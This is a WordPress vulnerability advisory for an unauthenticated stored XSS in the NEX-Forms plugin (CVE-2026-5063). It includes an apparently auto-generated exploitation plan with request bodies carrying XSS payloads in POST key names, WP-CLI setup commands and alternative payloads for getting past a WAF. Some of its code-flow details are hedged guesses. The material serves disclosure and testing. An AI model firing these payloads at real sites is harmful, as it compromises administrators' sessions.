NEX-Forms <= 9.1.11 - Unauthenticated Stored Cross-Site Scripting via POST Parameter Key Names
Description
The NEX-Forms – Ultimate Forms Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via POST parameter key names in the submit_nex_form() function in versions up to, and including, 9.1.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=9.1.11What Changed in the Fix
Changes introduced in v9.1.12
Source Code
WordPress.org SVNThis research plan outlines the steps to exploit **CVE-2026-5063**, a Stored Cross-Site Scripting (XSS) vulnerability in the NEX-Forms plugin. The vulnerability arises because the plugin saves and subsequently renders POST parameter **keys** (names) without sanitization or escaping during form submi…
Show full research plan
This research plan outlines the steps to exploit CVE-2026-5063, a Stored Cross-Site Scripting (XSS) vulnerability in the NEX-Forms plugin. The vulnerability arises because the plugin saves and subsequently renders POST parameter keys (names) without sanitization or escaping during form submission.
1. Vulnerability Summary
- Vulnerability: Unauthenticated Stored XSS.
- Location:
submit_nex_form()function (typically triggered viawp_ajax_nopriv_submit_nex_form). - Sink: Admin dashboard pages where form entries/leads are displayed (e.g., the "Entries" or "Dashboard" view).
- Cause: The plugin iterates through the
$_POSTarray to store form submission data. It uses the keys of the$_POSTarray as field labels or identifiers in the database. When an administrator views these submissions, the unsanitized keys are rendered directly into the HTML.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
submit_nex_form - Payload Location: The key of a POST parameter.
- Authentication: None (Unauthenticated).
- Preconditions: A form must exist in NEX-Forms (usually one is created by default upon installation). We need the
nex_forms_Id.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.php?action=submit_nex_form. - Processing: The
submit_nex_form()function (residing in the form processing logic) receives the$_POSTdata. - Iteration: The code likely loops through
$_POSTusingforeach($_POST as $key => $value). - Storage: The
$keyis stored in the database (typically in the{prefix}wap_nex_forms_entriestable) as a field label associated with that entry. - Rendering (The Sink): An administrator navigates to the NEX-Forms dashboard. The function
load_form_entries()orpopulate_form_entry()(found inincludes/classes/class.db.php) retrieves the stored entries. - Execution: The dashboard template echoes the stored
$keywithout usingesc_html()oresc_attr(), executing the XSS payload in the admin's browser.
4. Nonce Acquisition Strategy
NEX-Forms submission for unauthenticated users typically does not require a nonce to ensure compatibility with page caching plugins (which would otherwise serve stale nonces).
However, the plugin often requires a nex_forms_Id. If a nonce is required for the nopriv action:
- Identify Shortcode: The plugin uses shortcodes like
[nex_forms id="1"]. - Create Test Page:
wp post create --post_type=page --post_status=publish --post_content='[nex_forms id="1"]' --post_title='Form Page' - Navigate: Use
browser_navigateto the new page. - Extract: Look for localized JS variables. NEX-Forms often uses
nf_ajaxor similar.- Check for
window.nex_forms_scripts_obj?.ajaxurland associated nonces. - Based on
class.functions.php, check ifnex_forms_wpnonceis present in the rendered form HTML.
- Check for
5. Exploitation Strategy
Step 1: Discover Form ID
List existing forms to find a valid nex_forms_Id.
wp db query "SELECT id, title FROM wp_wap_nex_forms"
Step 2: Craft Injection Request
Send a POST request where the key itself contains the XSS payload. We must include the nex_forms_Id and the action.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
Note:action=submit_nex_form&nex_forms_Id=1&<svg/onload=alert(`XSS_KEY`)>=test_value&is_not_empty=1is_not_emptyis often a required internal field for NEX-Forms to process the submission.
Step 3: Trigger the XSS
Log in as an administrator and visit the NEX-Forms entries page:
- URL:
http://localhost:8080/wp-admin/admin.php?page=nex-forms-dashboard(or the specific entries view).
6. Test Data Setup
- Ensure Plugin is Active:
wp plugin activate nex-forms-express-wp-form-builder - Verify Tables: Ensure the
wp_wap_nex_formsandwp_wap_nex_forms_entriestables exist. - Create a Form (if none exist):
# This creates a minimal form entry in the DB wp db query "INSERT INTO wp_wap_nex_forms (title, form_code) VALUES ('Exploit Form', 'dummy_code')" - Identify ID: Get the ID of the created form (usually
1).
7. Expected Results
- The
admin-ajax.phprequest should return a success status (often a JSON response or1). - Upon visiting the NEX-Forms dashboard as an admin, an alert box with
XSS_KEYshould appear. - Checking the database will show the payload in the keys/labels column.
8. Verification Steps
- Check DB Storage:
Confirm that the column containing field mapping includes the stringwp db query "SELECT * FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1"<svg/onload=alert(\XSS_KEY`)>`. - Inspect Response: Use
http_requestto fetch the admin dashboard and grep for the payload to confirm it is rendered unescaped.# Example (requires admin cookies) # look for the raw payload in the HTML response
9. Alternative Approaches
- Payload Variations: If
<svg>is blocked by a WAF, use<img src=x onerror=alert(1)>or"><script>alert(1)</script>. - Parameter keys in different actions: Check if
nf_insert_record(authenticated) or other AJAX actions also process keys unsanitized, which could allow a Contributor-level user to escalate to Admin XSS. - Submission Method: NEX-Forms sometimes sends data as a single JSON string in a parameter like
form_data. If so, the injection would occur inside the JSON keys:{"<img src=x onerror=alert(1)>":"value"}. The vulnerability description, however, points specifically to POST parameter key names.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.